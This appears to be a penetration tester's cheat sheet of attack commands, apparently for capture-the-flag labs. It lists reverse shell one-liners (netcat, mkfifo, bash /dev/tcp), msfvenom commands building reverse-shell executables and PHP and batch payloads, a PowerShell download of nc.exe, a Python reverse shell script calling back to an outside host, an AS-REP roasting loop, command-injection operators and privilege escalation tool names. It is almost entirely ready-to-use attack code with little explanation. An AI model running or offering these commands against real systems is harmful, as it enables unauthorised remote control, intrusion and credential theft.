⭕Privileged Escalation

change shell temporary in Linux

exec bash --login

ps -p $$

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

nc -e /bin/sh 10.0.0.1 4242

bash -i >& /dev/tcp/10.10.10.1/4242 0>&1

bash -c ‘bash -i >& /dev/tcp/10.10.16.3/4242 0>&1’

---

Msfvenom

tcp

msfvenom -p windows/shell/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f exe -o shell.exe

tcp x64

msfvenom -p windows/x64/shell/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe -o shell.exe

http

msfvenom -p windows/shell/reverse_https LHOST=<your_ip> LPORT=<your_port> -f exe -o reverse_https.exe

powershell

msfvenom -p windows/x64/powershell_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f exe > reverse_powershell.exe

php

msfvenom -p php/reverse_php LHOST=192.168.49.57 LPORT=443 -f raw -o shell.php

bat

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.14.4 lport=443 > shell.bat

file type ( -f ) :-

• exe: For Windows executables.

• elf: For Linux executables.

• asp: For ASP scripts.

• aspx: For ASP.NET scripts.

• php: For PHP scripts.

---

RCE to Shell

powershell -c iwr http://10.10.14.4/nc.exe -UseBasicParsing

---

Environment setup (TTY shell)

Commands

script /dev/null -c bash

stty raw -echo ; fg

export TERM=xterm

python -c 'import pty; pty.spawn("/bin/bash")'

python3 -c 'import pty; pty.spawn("/bin/bash")'

stty raw -echo && fg

#Upgrade from shell to bash.
SHELL=/bin/bash script -q /dev/null

Reference Links

https://0xffsec.com/handbook/shells/full-tty/

---

TTY shell - error troubleshooting

method1

for zsh change it to.... python3 -c 'import pty; pty.spawn("/bin/bash")' CTRL + Z stty raw -echo; fg enter export TERM=xterm-256color no need to downgrade your shell. :)

method2

he typical way to upgrade a Python tty shell usually includes the following steps:

• python -c "import pty;pty.spawn('/bin/bash');"

• Ctrl + Z

• stty raw -echo; fg (my Kali Linux image is using zsh, so I read that I had to put "fg" on the same line)

• Enter

• Enter

• export TERM=xterm

• export SHELL=bash

• stty rows 32 cols 128

shell.py

#!/usr/bin/python

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

bash loop

for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done

shell command breaker operators

['&', ';', '-', '`', '||', '|', '&&', ';;', '$()']

Scripts

• linenum

• linpeas

• les (linux exploit suggester)

• pspy